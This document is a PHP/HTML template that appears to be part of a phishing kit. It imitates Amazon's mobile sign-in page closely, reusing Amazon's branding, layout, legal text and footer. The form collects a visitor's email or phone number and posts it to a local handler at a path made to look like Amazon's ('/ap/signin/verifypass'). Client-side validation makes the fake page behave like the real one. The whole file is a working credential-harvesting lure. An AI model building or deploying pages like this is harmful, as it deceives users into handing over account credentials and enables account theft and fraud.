<?php
defined("ALLOW") or exit('No direct script access allowed');
?>
<!DOCTYPE html>
<html class="a-touch a-mobile a-js a-audio a-video a-canvas a-svg a-drag-drop a-geolocation a-history a-webworker a-autofocus a-input-placeholder a-textarea-placeholder a-local-storage a-gradients a-hires a-transform3d a-touch-scrolling a-ios a-text-shadow a-text-stroke a-box-shadow a-border-radius a-border-image a-opacity a-transform a-transition a-ember a-ember-modern awa-browser"><head>
    <meta name="viewport" content="width=device-width, maximum-scale=2, minimum-scale=1, initial-scale=1, shrink-to-fit=no">
    <meta charset="utf-8">
    <link rel="shortcut icon" href="./img/favicon.ico" />
    <title dir="ltr">Amazon Sign-In</title>
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/design-mob.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobile.css">
    <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mob.css">
    <style>
    .a2hs-ingress-container,
    a[href^="#nav-hbm-a2hs-trigger"] {
        display:none!important
    }
    .a2hs-ingress-container.a2hs-ingress-visible,
    a[href^="#nav-hbm-a2hs-trigger"].a2hs-ingress-visible {
        display:block!important
    }
    </style>
    <style>
    @media all and (display-mode:standalone) {
    #chromeless-view-progress-bar,
    #chromeless-view-progress-bar::after {
        position:fixed;
        top:0;
        left:0;
        right:0;
        height:2px
    }
    @keyframes pbAnimation {
        0% {
          right:90%
        }
        100% {
          right:10%
        }
    }
    #chromeless-view-progress-bar {
        background:rgba(255,255,255,.1);
        z-index:9999999
    }
    #chromeless-view-progress-bar::after {
        content:'';
        background:#fcbb6a;
        animation:pbAnimation 10s forwards
      }
    }
    </style>
    <style>
        .custom-x:hover {
            border: 3px solid #0056b3; 
          }
          
          .custom-x:active {
            transform: scale(0.97); 
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
          }
    </style>
</head>
<body class="a-color-offset-background ap-locale-en_US a-m-us a-aui_72554-c a-aui_a11y_6_837773-c a-aui_killswitch_csa_logger_372963-c a-aui_pci_risk_banner_210084-c a-aui_template_weblab_cache_333406-c a-aui_tnr_v2_180836-c a-bw_aui_cxc_alert_measurement_1074111-c">
    <div id="a-page">
        <div class="a-section a-spacing-none">
            <meta name="theme-color" content="#131921" />
            <style type="text/css">
              .nav-sprite-v3 .nav-sprite {
                background-image: url(<?= base_url() ?>RABBIT/RO/img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png);
                background-repeat: no-repeat;
              }
              .nav-spinner {
                background-image: url(<?= base_url() ?>RABBIT/RO/img/snake._CB485935611_.gif);
              }
            </style>
    
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mob.css" />
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mobi.css" />
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/mo.css" />
            <link rel="stylesheet" href="<?= base_url() ?>RABBIT/RO/css/style-mo.css" />
            <script type="text/javascript">
              $Nav.importEvent("navbarJS-mobile");
              $Nav.declare("img.sprite", {
                png32:
                  "<?= base_url() ?>RABBIT/RO//img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png",
                "png32-2x":
                  "<?= base_url() ?>RABBIT/RO//img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png",
              });
              window._navbarSpriteUrl =
                "<?= base_url() ?>RABBIT/RO//img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png";
              $Nav.declare(
                "img.pixel",
                "<?= base_url() ?>RABBIT/RO//img/transparent-pixel._CB485935036_.gif"
              );
              var nav_t_after_preload_JS = +new Date();
            </script>
    
            <img
              src="<?= base_url() ?>RABBIT/RO//img/new-nav-sprite-global-1x_blueheaven-privacy._CB541719889_.png"
              style="display: none"
              alt="" />
            <header
              id="nav-main"
              data-nav-language="en_US"
              class="nav-mobile nav-progressive-attribute nav-locale-us nav-lang-en nav-ssl nav-unrec nav-blueheaven">
              <div
                id="navbar"
                cel_widget_id="Navigation-mobile-navbar"
                role="navigation"
                class="nav-t-basicNoAuth nav-sprite-v3 celwidget">
                <div id="nav-logobar">
                  <div class="nav-left">
                    <script type="text/javascript">
                      window.navmet.tmp = +new Date();
                    </script>
                    <div id="nav-logo">
                      <a
                        href="#"
                        id="nav-logo-sprites"
                        class="nav-logo-link nav-progressive-attribute"
                        aria-label="Amazon">
                        <span class="nav-sprite nav-logo-base"></span>
                        <span
                          id="logo-ext"
                          class="nav-sprite nav-logo-ext nav-progressive-content"></span>
                        <span class="nav-logo-locale">.us</span>
                      </a>
                    </div>
                  </div>
                  <div class="nav-right"></div>
                </div>
              </div>
              <div id="nav-progressive-subnav"></div>
            </header>
            <a id="skippedLink" tabindex="-1"></a>
          </div>
        <div class="a-container">
            <div class="a-section a-spacing-none"></div>
                <div class="a-section a-spacing-none auth-pagelet-mobile-container">
                    <noscript>
                        <div id="auth-js-alert-box" class="a-box a-alert a-alert-error auth-client-side-message-box a-spacing-base" role="alert">
                            <div class="a-box-inner a-alert-container">
                                <div class="a-alert-content">
                                    This site requires JavaScript to function correctly. Please enable JavaScript on your browser to continue.
                                </div>
                            </div>
                        </div>
                    </noscript>
                </div>
                <div class="a-section auth-pagelet-mobile-container">
                <div id="outer-accordion-signin-signup-page" class="a-section">
                    <h2>
                        Welcome
                    </h2>
                    <div id="accordion-signin-signup-page" data-a-accordion-name="accordion-signin-signup-page" class="a-box-group a-accordion a-spacing-medium a-spacing-top-mini" role="radioGroup">
                        <div id="accordion-row-register" class="a-box" data-a-accordion-row-name="accordion-row-register">
                            <div class="a-box-inner a-accordion-row-container">
                                <div class="a-accordion-row-a11y">
                                    <a id="register_accordion_header" data-csa-c-func-deps="aui-da-a-accordion" data-csa-c-type="widget" data-csa-interaction-events="click" data-action="a-accordion" class="a-accordion-row a-declarative a-accordion-sr" href="#" role="radio" aria-checked="false" aria-expanded="false" aria-label="" data-csa-c-id="ejt3iu-d0ztpq-rxlyft-d5z6ky">
                                        <i class="a-icon a-accordion-radio a-icon-radio-inactive"></i>
                                        <h5>
                                            <div class="a-row">
                                                <span class="a-size-base a-text-bold">Create account</span>
                                                <span class="a-size-small accordionHeaderMessage">
                                                    New to Amazon?
                                                </span>
                                            </div>
                                        </h5>
                                    </a>
                                </div>
                            </div>
                        </div>
                        <div id="accordion-row-login" class="a-box a-accordion-active" data-a-accordion-row-name="accordion-row-login">
                            <div class="a-box-inner a-accordion-row-container">
                                <div class="a-accordion-row-a11y">
                                    <a id="login_accordion_header" data-csa-c-func-deps="aui-da-a-accordion" data-csa-c-type="widget" data-csa-interaction-events="click" data-action="a-accordion" class="a-accordion-row a-declarative a-accordion-sr" href="#" role="radio" aria-checked="true" aria-expanded="true" aria-label="" data-csa-c-id="bg3p53-mvbdfz-yssbpj-kz5ad4">
                                        <i class="a-icon a-accordion-radio a-icon-radio-active"></i>
                                        <h5>
                                            <div class="a-row">
                                                <span class="a-size-base a-text-bold">Sign in</span>
                                                <span class="a-size-small accordionHeaderMessage">Already a customer?</span>
                                            </div>
                                        </h5>
                                    </a>
                                </div>
                                <div class="a-accordion-inner">
                                <form method="post" action="/ap/signin/verifypass">
                                    <div class="a-input-text-group a-spacing-medium a-spacing-top-micro">
                                        <label for="username" aria-hidden="true" class="a-form-label">
                                            Email or phone number
                                        </label>
                                        <div style="border: none;" class="a-row a-spacing-base">
                                            <span style="border: none;" class="a-declarative" data-action="country_picker_bottom_sheet" data-csa-c-type="widget" data-csa-c-func-deps="aui-da-country_picker_bottom_sheet" data-country_picker_bottom_sheet="{}" data-csa-c-id="8lukc3-8zbsg-ca0i3k-9ze6v7">
                                                <div  class="a-input-text-wrapper auth-required-field auth-fill-claim moa-single-claim-input-field-container">
                                                    <input type="email" id="username" name="user" tabindex="1" class="a-input-text a-span12 auth-autofocus auth-required-field" autofocus="true" autocomplete="off" required/>
                                                </div>
                                                <div id="inputErrorMsgUser"></div>
                                            </span>
                                        </div>
                                    </div>
                                    <div class="a-section">
                                        <div class="a-button-stack">
                                            <span style="box-shadow:1px white" id="continue" class="a-button a-button-span12 a-button-primary custom-x">
                                                <span class="a-button-inner">
                                                   <input id="btn_login" class="a-button-input" type="submit" aria-labelledby="continue-announce" />
                                                   <span id="continue-announce" class="a-button-text" aria-hidden="true">
                                                       Continue
                                                   </span>
                                               </span>
                                           </span>
                                            <div class="a-section a-spacing-medium">
                                                <div id="legalTextRow" class="a-row a-spacing-top-medium a-size-small">
                                                    By continuing, you agree to Amazon's 
                                                    <a href="#">Conditions of Use</a> and 
                                                    <a href="#">Privacy Notice</a>.
                                                </div> 
                                            </div>
                                        </div>
                                    </div>
                                    <div class="a-section">
                                        <div class="a-row a-expander-container a-expander-inline-container">
                                            <a data-csa-c-func-deps="aui-da-a-expander-toggle" data-csa-c-type="widget" data-csa-interaction-events="click" aria-expanded="false" role="button" href="javascript:void(0)" data-action="a-expander-toggle" class="a-expander-header a-declarative a-expander-inline-header a-link-expander" data-a-expander-toggle="{&quot;allowLinkDefault&quot;:true, &quot;expand_prompt&quot;:&quot;&quot;, &quot;collapse_prompt&quot;:&quot;&quot;}" data-csa-c-id="m2az5s-169ozg-x171qa-5c41oy">
                                                <i class="a-icon a-icon-expand"></i>
                                                <span class="a-expander-prompt">
                                                    Need help?
                                                </span>
                                            </a>
                                        </div>
                                    </div>
                                </form>
                                <div id="ab-signin-link-section" class="a-section">
                                    <hr aria-hidden="true" class="a-divider-normal">
                                    <div class="a-section a-spacing-micro">
                                        <span class="a-text-bold">
                                            Buying for work?
                                        </span>
                                    </div>
                                    <a id="ab-signin-ingress-link" class="a-link-normal" href="https://www.amazon.com/business/register/welcome?ref_=ab_reg_signin">
                                        <span>
                                            Shop on Amazon Business
                                        </span>
                                    </a>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <footer class="nav-mobile nav-ftr-batmobile">
            <div id="nav-ftr" class="nav-t-footer-basicNoAuth nav-sprite-v3">
              <div class="icp-container-mobile">
                <style type="text/css">
                  #icp-touch-link-language {
                    display: none;
                  }
                </style>
  
                <a
                  href="#"
                  aria-label="Choose a language for shopping. Current selection is English. "
                  aria-owns="nav-flyout-icp-footer-flyout"
                  class="icp-touch-link-2"
                  id="icp-touch-link-language">
                  <div class="icp-nav-globe-img-2 icp-mobile-globe-2"></div>
                  <span class="icp-color-base">English</span
                  ><span class="nav-arrow icp-up-down-arrow"></span>
                </a>
  
                <style type="text/css">
                  #icp-touch-link-country {
                    display: none;
                  }
                </style>
                <a
                  href="#"
                  aria-label="Choose a country/region for shopping. The current selection is United States."
                  class="icp-touch-link-2"
                  id="icp-touch-link-country">
                  <span class="icp-flag-3 icp-flag-3-us"></span
                  ><span class="icp-color-base">United States</span>
                </a>
              </div>
  
              <ul class="nav-ftr-horiz">
                <li class="nav-li">
                  <a
                    href="#"
                    id=""
                    class="nav-a"
                    >Conditions of Use</a
                  >
                </li>
                <li class="nav-li">
                  <a
                    href="#"
                    id=""
                    class="nav-a"
                    >Privacy Notice</a
                  >
                </li>
                <li class="nav-li">
                  <a
                    href="#"
                    id=""
                    class="nav-a"
                    >Consumer Health Data Privacy Disclosure</a
                  >
                </li>
                <li class="nav-li">
                  <a href="#" id="" class="nav-a"
                    >Your Ads Privacy Choices</a
                  >
                </li>
                <li class="nav-li">
                  <span id="nav-icon-ccba" class="nav-sprite"></span>
                </li>
              </ul>
  
              <div id="nav-ftr-copyright">
                &copy; 1996-2025, Amazon.com, Inc. or its affiliates
              </div>
              <div id="nav-ftr-legal"></div>
            </div>
          </footer>
          <div
          id="sis_pixel_r2"
          aria-hidden="true"
          style="
            height: 1px;
            position: absolute;
            left: -1000000px;">
        </div>
    </div>
    <!-- Masking -->
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.mask.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.validate.min.js"></script>
    <script type="text/javascript">
    $('#username').on("keyup , focus", () => {
        var username = $("#username").val()
        if (username == "") {
            $("#username").addClass('error').removeClass('hasText')
            $("#inputErrorMsgUser").show().html('<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">Enter your email or mobile phone number</div></div></div>')
            $("#username").parent().parent().parent().removeClass('validated')
        } else if (username.length < 6) {
            $("#username").addClass('error').addClass("hasText")
            $("#inputErrorMsgUser").show().html('<div id="auth-email-missing-alert" class="a-box a-alert-inline a-alert-inline-error auth-inlined-error-message a-spacing-top-mini" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content">Please check a email or mobile phone number</div></div></div>')
            $("#username").parent().parent().parent().removeClass('validated')
        } else {
            $("#username").removeClass('error').addClass("hasText")
            $("#inputErrorMsgUser").hide()
            $("#username").parent().parent().parent().removeClass('validated')
        }
    });
    $('#username').on("keyup , focus", () => {
        if (!$("#username").hasClass('error')
            && $("#username").val().length > 0) {
            $("#btn_login").prop("disabled", false)
        } else {
            $("#btn_login").prop("disabled", true)
        }
    });
    </script>
    <!-- Masking -->
</body>
</html>